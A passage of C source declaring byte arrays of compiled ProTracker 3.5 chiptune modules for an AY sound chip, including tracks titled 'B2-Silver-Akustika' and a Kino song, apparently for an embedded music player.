0xca, 0xb1, 0x02, 0x87, 0x84, 0x00, 0xf1, 0x14, 0xcf, 0xb1, 0x04, 0x84, 0x84, 0xcc, 0xb1, 0x02,
0x82, 0x84, 0xcf, 0xb1, 0x04, 0x84, 0x84, 0xcc, 0xb1, 0x02, 0x82, 0xb1, 0x04, 0x84, 0xcb, 0xb1,
0x02, 0x82, 0xb1, 0x04, 0x84, 0xcf, 0x84, 0x84, 0xcc, 0xb1, 0x02, 0x82, 0x84, 0xcf, 0xb1, 0x04,
0x84, 0x84, 0xcc, 0xb1, 0x02, 0x82, 0x84, 0xcf, 0xb1, 0x04, 0x80, 0xcc, 0xb1, 0x02, 0x84, 0x80,
0x00, 0xf0, 0x04, 0xbd, 0x00, 0x8c, 0xcf, 0xb1, 0x04, 0x71, 0xf7, 0x0a, 0x82, 0xf0, 0x08, 0xbd,
0x00, 0x46, 0xb1, 0x02, 0x6f, 0xf7, 0x0a, 0xbd, 0x00, 0x11, 0xcc, 0x82, 0xf0, 0x08, 0xbd, 0x00,
0x8c, 0xcf, 0x63, 0xbd, 0x00, 0x46, 0x6f, 0x10, 0x06, 0xb1, 0x04, 0x7d, 0x1c, 0x00, 0x8c, 0x08,
0x63, 0x1c, 0x00, 0x46, 0x04, 0x71, 0x1c, 0x00, 0x8c, 0x08, 0xb1, 0x02, 0x63, 0x76, 0x1c, 0x00,
0x9d, 0x04, 0xb1, 0x04, 0x71, 0xf7, 0x0a, 0x80, 0xf0, 0x08, 0xbd, 0x00, 0x4e, 0xb1, 0x02, 0x6d,
0xf7, 0x0a, 0xcc, 0x80, 0xf0, 0x08, 0xbd, 0x00, 0x9d, 0xcf, 0x61, 0xbd, 0x00, 0x4e, 0x6d, 0x10,
0x06, 0xb1, 0x04, 0x7d, 0x1c, 0x00, 0x9d, 0x08, 0x61, 0x1c, 0x00, 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0xcc,
0xb1, 0x02, 0x7d, 0x80, 0x00, 0x02, 0x03, 0x01, 0x8f, 0x00, 0x01, 0x01, 0x8f, 0xc0, 0x02, 0x00,
0x90, 0x00, 0x00, 0x03, 0x05, 0x09, 0x6f, 0xe0, 0x00, 0x01, 0xcf, 0x60, 0x01, 0x01, 0x4e, 0x40,
0xff, 0x01, 0x4d, 0x20, 0x00, 0x81, 0x4d, 0x40, 0x00, 0x01, 0x02, 0x01, 0x0f, 0x00, 0x00, 0x00,
0x90, 0x00, 0x00, 0x01, 0x03, 0x01, 0x0f, 0x00, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x81, 0x8f, 0x00,
0x00, 0x01, 0x03, 0x01, 0x4f, 0x60, 0x00, 0x01, 0xcf, 0x60, 0x00, 0x81, 0xcf, 0x60, 0x00, 0x00,
0x01, 0x01, 0x0f, 0x00, 0x00, 0x00, 0x07, 0x01, 0x0f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01,
0x8c, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x88, 0x00, 0x00, 0x01, 0x87, 0x00, 0x00, 0x81,
0x0e, 0x00, 0x00, 0x00, 0x03, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x81, 0x8f, 0x00,
0x00, 0x00, 0x01, 0x01, 0x8f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x09, 0x13, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x03, 0x07, 0x00, 0x03, 0x00, 0x04, 0x07, 0x01,
0x02, 0xf4, 0x00, 0x00, 0x06, 0x00, 0x00, 0xfc, 0xfc, 0xf9, 0xf9, 0x00, 0x06, 0x00, 0x00, 0xfd,
0xfd, 0xf9, 0xf9, 0x02, 0x03, 0xfe, 0xff, 0x00,
};
const uint8_t b2_silver[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x35, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x42, 0x32,
0x2d, 0x53, 0x49, 0x4c, 0x56, 0x45, 0x52, 0x2d, 0x41, 0x4b, 0x55, 0x53, 0x54, 0x49, 0x4b, 0x41,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x63, 0x6f, 0x70, 0x79, 0x2d, 0x4b, 0x79, 0x56, 0x27, 0x33, 0x75, 0x6d, 0x66, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x02, 0x04, 0x18, 0x00, 0xe2, 0x00, 0x00, 0x00, 0x6d, 0x0a, 0x00, 0x00, 0x73,
0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa5, 0x0a, 0x00, 0x00, 0x27, 0x0b, 0x31, 0x0b, 0x00,
0x00, 0x43, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59,
0x0b, 0x00, 0x00, 0x63, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0x0b, 0x98, 0x0b, 0x9b, 0x0b, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x06, 0x09, 0x0c, 0x0f, 0x12,
0x15, 0x18, 0x1b, 0x1e, 0x21, 0x24, 0x27, 0x2a, 0x2d, 0x30, 0x33, 0x36, 0x39, 0x3c, 0x3f, 0x42,
0x45, 0xff, 0x72, 0x01, 0x7d, 0x01, 0x8b, 0x01, 0x99, 0x01, 0xa9, 0x01, 0xbf, 0x01, 0xd0, 0x01,
0xe4, 0x01, 0xf8, 0x01, 0x0f, 0x02, 0x1d, 0x02, 0x36, 0x02, 0x47, 0x02, 0x55, 0x02, 0x6e, 0x02,
0x81, 0x02, 0x97, 0x02, 0xb2, 0x02, 0xc3, 0x02, 0xd1, 0x02, 0xed, 0x02, 0xf8, 0x02, 0x09, 0x03,
0x24, 0x03, 0x34, 0x03, 0x44, 0x03, 0x60, 0x03, 0x6f, 0x03, 0x7c, 0x03, 0x98, 0x03, 0xa5, 0x03,
0xc3, 0x03, 0xed, 0x03, 0x13, 0x04, 0x34, 0x04, 0x66, 0x04, 0x7f, 0x04, 0x98, 0x04, 0xca, 0x04,
0xe3, 0x04, 0xf6, 0x04, 0x28, 0x05, 0x39, 0x05, 0x66, 0x05, 0xa1, 0x05, 0xca, 0x05, 0xf8, 0x05,
0x37, 0x06, 0x64, 0x06, 0x8d, 0x06, 0xcb, 0x06, 0xfb, 0x06, 0x29, 0x07, 0x67, 0x07, 0x91, 0x07,
0xab, 0x07, 0xe9, 0x07, 0x13, 0x08, 0x3d, 0x08, 0x86, 0x08, 0xb0, 0x08, 0xc3, 0x08, 0x86, 0x08,
0x01, 0x09, 0x1e, 0x09, 0x60, 0x09, 0x8a, 0x09, 0x9c, 0x09, 0xe1, 0x09, 0x0b, 0x0a, 0x11, 0x0a,
0x47, 0x0a, 0xf0, 0x18, 0xcf, 0xb1, 0x38, 0x74, 0xd3, 0xb1, 0x08, 0x76, 0x00, 0xf0, 0x18, 0xcf,
0xb1, 0x14, 0x74, 0xc0, 0xbb, 0x00, 0x46, 0xb1, 0x18, 0xd0, 0x00, 0xf0, 0x18, 0xcf, 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0x27, 0x79, 0xc0, 0xbb, 0x00, 0x27,
0x90, 0xc0, 0x90, 0xc0, 0x90, 0xc0, 0x00, 0xf0, 0x14, 0xbb, 0x00, 0x53, 0xcf, 0xb1, 0x04, 0x74,
0xd9, 0x74, 0xdc, 0x74, 0xda, 0x74, 0xb1, 0x08, 0x74, 0xdc, 0xb1, 0x04, 0x74, 0xd9, 0x74, 0xda,
0xb1, 0x08, 0x74, 0xdc, 0xb1, 0x04, 0x74, 0xda, 0x74, 0xd9, 0x74, 0x74, 0xdc, 0x74, 0xd9, 0x74,
0x00, 0xb1, 0x04, 0xd0, 0xf2, 0x0e, 0xcf, 0x79, 0x79, 0x79, 0xd3, 0x78, 0x76, 0x74, 0x73, 0x74,
0x74, 0x74, 0x74, 0x74, 0xb1, 0x08, 0x78, 0xb1, 0x04, 0x6d, 0x00, 0xf0, 0x26, 0xbb, 0x00, 0x5d,
0xc6, 0xb1, 0x02, 0x6a, 0xc0, 0x8e, 0xc0, 0xbb, 0x00, 0x5d, 0x8e, 0xc0, 0x8e, 0xc0, 0xbb, 0x00,
0x37, 0x73, 0xc0, 0xbb, 0x00, 0x37, 0x73, 0xc0, 0x73, 0xc0, 0x73, 0xc0, 0xbb, 0x00, 0x34, 0x74,
0xc0, 0x73, 0xc0, 0xbb, 0x00, 0x34, 0x73, 0xc0, 0x73, 0xc0, 0x73, 0xc0, 0x73, 0xc0, 0xb1, 0x01,
0x73, 0xcf, 0xd0, 0xb1, 0x02, 0xc0, 0x73, 0xc0, 0x00, 0xf0, 0x14, 0xbb, 0x00, 0x5d, 0xcf, 0xb1,
0x04, 0x74, 0xd9, 0x74, 0xdc, 0x74, 0xda, 0x74, 0xb1, 0x08, 0x74, 0xdc, 0xb1, 0x04, 0x74, 0xd9,
0x74, 0xda, 0xb1, 0x08, 0x74, 0xdc, 0xb1, 0x04, 0x74, 0xda, 0x74, 0xd9, 0x74, 0x74, 0xdc, 0x74,
0xd9, 0x74, 0x00, 0xcf, 0xb1, 0x04, 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, 0xc0, 0x68, 0xc0, 0x68, 0xc0, 0x00, 0xda, 0xcf, 0xb1, 0x04, 0x74, 0xd9, 0x74, 0xdc, 0x74,
0xda, 0x74, 0xb1, 0x08, 0x74, 0xdc, 0xb1, 0x04, 0x74, 0xd9, 0x74, 0xda, 0xb1, 0x08, 0x74, 0xdc,
0xb1, 0x04, 0x74, 0xda, 0x74, 0xd9, 0x74, 0x74, 0xdc, 0x74, 0xd9, 0x74, 0x00, 0x00, 0x01, 0x00,
0x9f, 0x00, 0x00, 0x06, 0x0c, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x8e, 0x00,
0x00, 0x00, 0x8d, 0x01, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x01, 0x00, 0x00, 0x8c, 0x00,
0x00, 0x00, 0x8c, 0x01, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x80, 0x8c, 0xff, 0xff, 0x00, 0x8c, 0x00,
0x00, 0x00, 0x8c, 0x00, 0x00, 0x18, 0x20, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00,
0x8e, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00,
0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00,
0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00,
0x8b, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00,
0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00,
0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x03, 0x00, 0x00, 0x8a, 0x03, 0x00, 0x00,
0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0xfd, 0xff, 0x00, 0x8a, 0xfd, 0xff, 0x00,
0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x01, 0x02, 0x01, 0x1f, 0x00, 0x00, 0x00, 0x90, 0x00,
0x00, 0x03, 0x04, 0x01, 0x8f, 0x00, 0x01, 0x01, 0x8e, 0x40, 0x04, 0x01, 0x8e, 0xc0, 0x06, 0x00,
0x90, 0x00, 0x00, 0x03, 0x05, 0x09, 0x6f, 0x80, 0x00, 0x01, 0xcf, 0x20, 0x01, 0x01, 0x4e, 0xa0,
0xfe, 0x01, 0x4c, 0x40, 0x00, 0x81, 0x4c, 0x40, 0x00, 0x01, 0x02, 0x01, 0x1b, 0x00, 0x00, 0x00,
0x90, 0x00, 0x00, 0x06, 0x0c, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x8e, 0x00,
0x00, 0x00, 0x8d, 0x01, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x01, 0x00, 0x00, 0x8c, 0x00,
0x00, 0x00, 0x8c, 0x01, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x80, 0x8c, 0xff, 0xff, 0x00, 0x8c, 0x00,
0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00,
};
const uint8_t kino_sun[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x35, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x4b, 0x55,
0x48, 0x4f, 0x2d, 0x33, 0x42, 0x45, 0x33, 0x44, 0x41, 0x20, 0x4e, 0x4f, 0x20, 0x55, 0x4d, 0x45,
0x48, 0x55, 0x20, 0x43, 0x4f, 0x2f, 0x21, 0x48, 0x55, 0x45, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x66, 0x75, 0x6c, 0x6c, 0x20, 0x63, 0x6f, 0x70, 0x79, 0x2d, 0x6b, 0x59, 0x76, 0x27,
0x33, 0x75, 0x6d, 0x66, 0x20, 0x32, 0x30, 0x30, 0x34, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x01, 0x06, 0x1a, 0x00, 0xe4, 0x00, 0x00, 0x00, 0x55, 0x0c, 0x6b, 0x0c, 0xb9,
0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x0c, 0xf1, 0x0c, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2b, 0x0d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x2d, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x0e, 0x36, 0x0e, 0x3b, 0x0e, 0x40,
0x0e, 0x00, 0x00, 0x00, 0x00, 0x45, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x06, 0x09, 0x0c, 0x0f, 0x12,
0x12, 0x15, 0x18, 0x1b, 0x1e, 0x21, 0x24, 0x12, 0x12, 0x15, 0x27, 0x2a, 0x2d, 0x30, 0x33, 0x12,
0x12, 0x12, 0x36, 0xff, 0x56, 0x01, 0x6f, 0x01, 0x01, 0x02, 0x6c, 0x02, 0xa1, 0x02, 0x29, 0x03,
0x9a, 0x03, 0xcf, 0x03, 0x5a, 0x04, 0xcb, 0x04, 0xf9, 0x04, 0x84, 0x05, 0xef, 0x05, 0x16, 0x06,
0x5a, 0x04, 0xa3, 0x06, 0xdc, 0x06, 0x67, 0x07, 0xb3, 0x07, 0xf2, 0x07, 0x7b, 0x08, 0x56, 0x01,
0x6f, 0x01, 0xaa, 0x08, 0x18, 0x09, 0xa1, 0x02, 0x29, 0x03, 0x47, 0x09, 0xcf, 0x03, 0x5a, 0x04,
0x74, 0x09, 0xf9, 0x04, 0x84, 0x05, 0xa6, 0x09, 0x16, 0x06, 0x5a, 0x04, 0xd6, 0x09, 0xdc, 0x06,
0x12, 0x0a, 0x88, 0x0a, 0xf9, 0x04, 0x84, 0x05, 0xc2, 0x0a, 0x16, 0x06, 0x5a, 0x04, 0xf2, 0x0a,
0xf9, 0x04, 0x84, 0x05, 0x1f, 0x0b, 0x16, 0x06, 0x5a, 0x04, 0x4e, 0x0b, 0xdc, 0x06, 0x88, 0x0b,
0xb3, 0x07, 0xd1, 0x0b, 0x7b, 0x08, 0xb1, 0x05, 0xd0, 0xc7, 0xb1, 0x03, 0xd0, 0xc4, 0xb1, 0x02,
0xd0, 0xc3, 0xd0, 0xc1, 0xb1, 0x30, 0xd0, 0xf6, 0x12, 0xcf, 0xb1, 0x02, 0x80, 0x7f, 0x00, 0xf0,
0x02, 0xbb, 0x00, 0x48, 0xcf, 0xb1, 0x02, 0x7d, 0x1a, 0x00, 0x48, 0x2c, 0x7d, 0x10, 0x04, 0x74,
0x1a, 0x00, 0x48, 0x02, 0x80, 0xbb, 0x00, 0x48, 0x80, 0x1a, 0x00, 0x48, 0x2c, 0x7d, 0x10, 0x04,
0xb1, 0x04, 0x74, 0x1a, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x1a, 0x00, 0x48, 0x2c, 0x7d, 0x10,
0x04, 0x74, 0x1a, 0x00, 0x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1,
0x01, 0x89, 0x7d, 0x7d, 0x01, 0xb1, 0x06, 0x7d, 0x01, 0x01, 0x00, 0x00, 0xf0, 0x12, 0xcf, 0xb1,
0x04, 0x7d, 0xce, 0x7d, 0xcd, 0x7d, 0xcf, 0xb1, 0x02, 0x78, 0x76, 0x78, 0xca, 0xd0, 0xd3, 0xce,
0x78, 0x76, 0xcd, 0xb1, 0x04, 0x78, 0xd9, 0xcf, 0xb1, 0x02, 0x78, 0x79, 0xb1, 0x03, 0x7b, 0x7b,
0xb1, 0x02, 0x7b, 0xb1, 0x04, 0x7b, 0x7d, 0x78, 0xca, 0x78, 0x78, 0xcf, 0xb1, 0x02, 0x79, 0x78,
0x00, 0xf0, 0x02, 0xbb, 0x00, 0x48, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x10, 0x04,
0x74, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x1a, 0x00, 0x48, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74,
0x10, 0x04, 0x74, 0xe6, 0x74, 0x1a, 0x00, 0x48, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x10,
0x04, 0x74, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x1a, 0x00, 0x48, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c,
0x74, 0x10, 0x04, 0x74, 0xe6, 0x74, 0x1a, 0x00, 0x3c, 0x02, 0x80, 0x18, 0x00, 0x3c, 0x2c, 0x74,
0x10, 0x04, 0x74, 0x18, 0x00, 0x3c, 0x2c, 0x74, 0x1a, 0x00, 0x3c, 0x02, 0x80, 0x18, 0x00, 0x3c,
0x2c, 0x74, 0x10, 0x04, 0x74, 0xe6, 0x74, 0x1a, 0x00, 0x3c, 0x02, 0x80, 0x18, 0x00, 0x3c, 0x2c,
0x74, 0x10, 0x04, 0x74, 0x18, 0x00, 0x3c, 0x2c, 0x74, 0x1a, 0x00, 0x3c, 0x02, 0x80, 0x18, 0x00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x80, 0x18, 0x00, 0x35, 0x2c, 0x80, 0x10, 0x04, 0x74,
0x1a, 0x00, 0x35, 0x02, 0x80, 0xbb, 0x00, 0x35, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x80, 0x10, 0x04,
0xb1, 0x04, 0x74, 0x1a, 0x00, 0x35, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x80, 0x10,
0x04, 0x74, 0x1a, 0x00, 0x35, 0x02, 0x80, 0xbb, 0x00, 0x35, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x80,
0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x28, 0x2c,
0x80, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02, 0x80, 0xbb, 0x00, 0x28, 0x80, 0x18, 0x00, 0x28,
0x2c, 0x80, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00,
0x28, 0x2c, 0x80, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02, 0x80, 0xbb, 0x00, 0x28, 0x80, 0x18,
0x00, 0x28, 0x2c, 0x80, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x00, 0xf3, 0x1a, 0xce, 0xb1, 0x02, 0x76,
0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76,
0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0x76, 0x76, 0xb1, 0x02, 0x76, 0x76, 0xb1, 0x01, 0x76, 0xb1,
0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01,
0x76, 0x76, 0x76, 0x42, 0xb1, 0x02, 0x7b, 0x7b, 0xb1, 0x01, 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01,
0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x7b, 0x7b, 0x7b, 0xb1,
0x02, 0x7b, 0x7b, 0xb1, 0x01, 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x7b, 0x7b, 0x7b, 0xb1, 0x02,
0x7b, 0xb1, 0x01, 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x7b, 0x00, 0xf0, 0x12, 0xcf, 0xb1, 0x02,
0x7d, 0x78, 0x78, 0x78, 0x78, 0x78, 0xb1, 0x04, 0x7b, 0x78, 0xce, 0xd0, 0xca, 0xd0, 0xcf, 0xb1,
0x02, 0x78, 0x79, 0xb1, 0x03, 0x7b, 0x7b, 0xb1, 0x02, 0x7b, 0xb1, 0x04, 0x7b, 0x7d, 0x78, 0xce,
0xd0, 0xca, 0xd0, 0xcf, 0xb1, 0x02, 0x79, 0x78, 0x00, 0xf0, 0x02, 0xbb, 0x00, 0x48, 0xcf, 0xb1,
0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x80, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x48, 0x02, 0x80, 0xbb,
0x00, 0x48, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x80, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x48,
0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x80, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x48, 0x02,
0x80, 0xbb, 0x00, 0x48, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x80, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a,
0x00, 0x3c, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x3c, 0x2c, 0x80, 0x10, 0x04, 0x74, 0x1a, 0x00,
0x3c, 0x02, 0x80, 0xbb, 0x00, 0x3c, 0x80, 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0xd0, 0xcd, 0xd0, 0xcc, 0xd0, 0x00, 0xf0, 0x02, 0xbb, 0x00, 0x35, 0xcf, 0xb1, 0x02, 0x80, 0x18,
0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x35, 0x02, 0x80, 0xbb, 0x00, 0x35, 0x80,
0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x35, 0x02, 0xb1, 0x02,
0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x35, 0x02, 0x80, 0xbb, 0x00,
0x35, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02,
0xb1, 0x02, 0x80, 0x18, 0x00, 0x28, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x28, 0x02, 0x80,
0xbb, 0x00, 0x28, 0x80, 0x18, 0x00, 0x28, 0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1a, 0x00,
0x28, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x28, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1a, 0x00, 0x28,
0x02, 0x80, 0xbb, 0x00, 0x28, 0x80, 0x18, 0x00, 0x28, 0x2c, 0x74, 0x10, 0x04, 0x74, 0xb1, 0x01,
0x74, 0x74, 0x00, 0xb0, 0x40, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0x76, 0x76, 0x76, 0x76, 0xb1, 0x04,
0x74, 0x76, 0xce, 0xb1, 0x02, 0xd0, 0xcf, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x7d, 0x78, 0xce, 0xb1,
0x02, 0xd0, 0xcf, 0xb1, 0x04, 0x71, 0xce, 0xd0, 0xca, 0xd0, 0xc9, 0xd0, 0xc8, 0xd0, 0xc6, 0xb1,
0x02, 0xd0, 0xb1, 0x01, 0x80, 0xc8, 0x82, 0xca, 0x84, 0xcc, 0x85, 0x00, 0xf0, 0x02, 0xbf, 0x00,
0x35, 0xcf, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1e, 0x00, 0x35,
0x02, 0x80, 0xbf, 0x00, 0x35, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74,
0x1e, 0x00, 0x35, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0x74, 0x1e,
0x00, 0x35, 0x02, 0x80, 0xbf, 0x00, 0x35, 0x80, 0x18, 0x00, 0x35, 0x2c, 0x74, 0x10, 0x04, 0xb1,
0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x10, 0x04,
0x74, 0x1e, 0x00, 0x48, 0x02, 0x80, 0xbf, 0x00, 0x48, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74, 0x10,
0x04, 0xb1, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x18, 0x00, 0x48, 0x2c, 0x74,
0x10, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0x80, 0xbf, 0x00, 0x48, 0x80, 0x18, 0x00, 0x48, 0x2c,
0x74, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x00, 0xf3, 0x1a, 0xce, 0xb1, 0x02, 0x76, 0x76, 0xcd, 0xb1,
0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xcb, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0x76,
0xcc, 0xd0, 0x76, 0x76, 0x76, 0xca, 0xb1, 0x02, 0x76, 0x76, 0xc9, 0xb1, 0x01, 0x76, 0xb1, 0x02,
0x76, 0xb1, 0x01, 0x76, 0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02, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x78, 0x76, 0xce, 0xd0, 0xcd, 0xd0,
0xcf, 0xb1, 0x02, 0x76, 0x76, 0x00, 0xb0, 0x40, 0xcf, 0xb1, 0x02, 0x76, 0xb1, 0x04, 0x76, 0xb1,
0x02, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x74, 0x76, 0xce, 0xb1, 0x02, 0xd0, 0xcf, 0x76, 0x76, 0x76,
0xb1, 0x04, 0x7d, 0x78, 0xce, 0xb1, 0x02, 0xd0, 0xcf, 0xb1, 0x04, 0x71, 0xce, 0xd0, 0xca, 0xd0,
0xc9, 0xd0, 0xc8, 0xd0, 0xc6, 0xb1, 0x02, 0xd0, 0xb1, 0x01, 0x80, 0xc8, 0x82, 0xca, 0x84, 0xcc,
0x85, 0x00, 0xf3, 0x1a, 0xce, 0xb1, 0x02, 0x76, 0x76, 0xcd, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76,
0xb1, 0x01, 0x76, 0xcb, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0x76, 0xcc, 0xd0, 0x76, 0x76, 0x76,
0xca, 0xb1, 0x02, 0x76, 0x76, 0xc9, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xc8,
